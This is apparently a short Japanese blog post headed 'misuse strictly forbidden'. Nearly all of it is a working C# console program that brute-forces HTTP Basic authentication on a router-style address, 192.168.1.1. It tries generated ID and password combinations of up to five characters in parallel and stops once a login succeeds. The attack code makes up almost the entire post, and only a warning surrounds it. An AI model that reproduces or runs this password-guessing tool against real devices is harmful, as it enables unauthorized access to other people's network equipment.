悪用厳禁なやつ
ひさびさに.NET書いたねん。
どうしてもしょうがなくね。
悪用厳禁
using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Text; using System.Threading.Tasks; namespace ConsoleApplication1 { class Program { static void Main(string[] args) { const string availableChars = "1234567890abcdefghijklmnopqrstuvwxyz"; const int length = 5; var strs = new List<string>(); Enumerable.Range(1, length).ToList().ForEach(x => { strs.AddRange(GenerateCombinations(availableChars.ToCharArray(), x).Select(y => new string(y.ToArray())).ToList()); }); Parallel.ForEach(strs, x => { Parallel.ForEach(strs, y => { var id = new string(x.ToArray()); var pass = new string(y.ToArray()); Console.WriteLine("ID:{0} Password:{1}", id, pass); if (CheckBasicAuth(id, pass)) { Console.ReadLine(); Environment.Exit(0); } }); }); } private static IEnumerable<List<T>> GenerateCombinations<T>(IEnumerable<T> source, int n) { var s = source.ToArray(); return Enumerable.Range(0, n - 1) .Aggregate( Enumerable.Range(0, s.Count() - n + 1) .Select(num => new List<int>() { num }), (list, _) => list.SelectMany(c => Enumerable.Range(c.Max() + 1, s.Count() - c.Max() - 1) .Select(num => new List<int>(c) { num }) ) ) .Select(c => c .Select(num => s[num]) .ToList() ); } private static bool CheckBasicAuth(string id, string pass) { var client = new WebClient(); client.Credentials = new NetworkCredential(id, pass); try { var pagedata = client.DownloadData("http://192.168.1.1/"); Console.WriteLine(Encoding.UTF8.GetString(pagedata)); return true; } catch { return false; } } } }